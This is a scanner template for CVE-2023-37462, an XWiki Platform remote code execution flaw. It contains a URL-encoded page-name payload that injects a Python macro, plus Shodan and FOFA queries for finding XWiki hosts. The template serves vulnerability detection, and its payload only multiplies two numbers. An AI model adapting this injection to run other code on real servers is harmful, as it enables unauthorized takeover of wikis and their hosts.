XWiki Platform - Remote Code Execution

id: CVE-2023-37462

info:
  name: XWiki Platform - Remote Code Execution
  author: parthmalhotra,pdresearch
  severity: high
  description: |
    XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Improper escaping in the document `SkinsCode.XWikiSkinsSheet` leads to an injection vector from view right on that document to programming rights, or in other words, it is possible to execute arbitrary script macros including Groovy and Python macros that allow remote code execution including unrestricted read and write access to all wiki contents. The attack works by opening a non-existing page with a name crafted to contain a dangerous payload. It is possible to check if an existing installation is vulnerable
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: This issue has been patched in XWiki 14.4.8, 14.10.4 and 15.0-rc-1. Users are advised to upgrade.
  reference:
    - https://github.com/xwiki/xwiki-platform/commit/d9c88ddc4c0c78fa534bd33237e95dea66003d29
    - https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-h4vp-69r8-gvjg
    - https://jira.xwiki.org/browse/XWIKI-20457
    - https://github.com/fkie-cad/nvd-json-data-feeds
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2023-37462
    cwe-id: CWE-74
    epss-score: 0.91592
    epss-percentile: 0.99814
    cpe: cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: xwiki
    product: xwiki
    shodan-query:
      - html:"data-xwiki-reference"
      - xwiki
      - http.html:"data-xwiki-reference"
    fofa-query: body="data-xwiki-reference"
  tags: cve2023,cve,xwiki,rce,vuln,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/bin/view/%22%5d%5d%20%7b%7b%61%73%79%6e%63%20%61%73%79%6e%63%3d%22%74%72%75%65%22%20%63%61%63%68%65%64%3d%22%66%61%6c%73%65%22%20%63%6f%6e%74%65%78%74%3d%22%64%6f%63%2e%72%65%66%65%72%65%6e%63%65%22%7d%7d%7b%7b%70%79%74%68%6f%6e%7d%7d%70%72%69%6e%74%28%33%37%32%34%33%34%38%20%2a%20%38%34%37%33%33%33%34%29%7b%7b%2f%70%79%74%68%6f%6e%7d%7d%7b%7b%2f%61%73%79%6e%63%7d%7d?sheet=SkinsCode.XWikiSkinsSheet&xpage=view"
      - "{{BaseURL}}/asyncrenderer/{{url}}?clientId={{id}}&timeout=500&wiki=xwiki"

    skip-variables-check: true

    extractors:
      - type: regex
        group: 1
        name: id
        regex:
          - data-xwiki-async-client-id="(.+?)"
        internal: true

      - type: regex
        group: 1
        name: url
        regex:
          - <span class="xwiki-async" data-xwiki-async-id="(.+?)"
        internal: true
    matchers:
      - type: dsl
        dsl:
          - body_2 == "31557644536232"
          - contains(header_2, "text/html")
          - status_code_2 == 200
        condition: and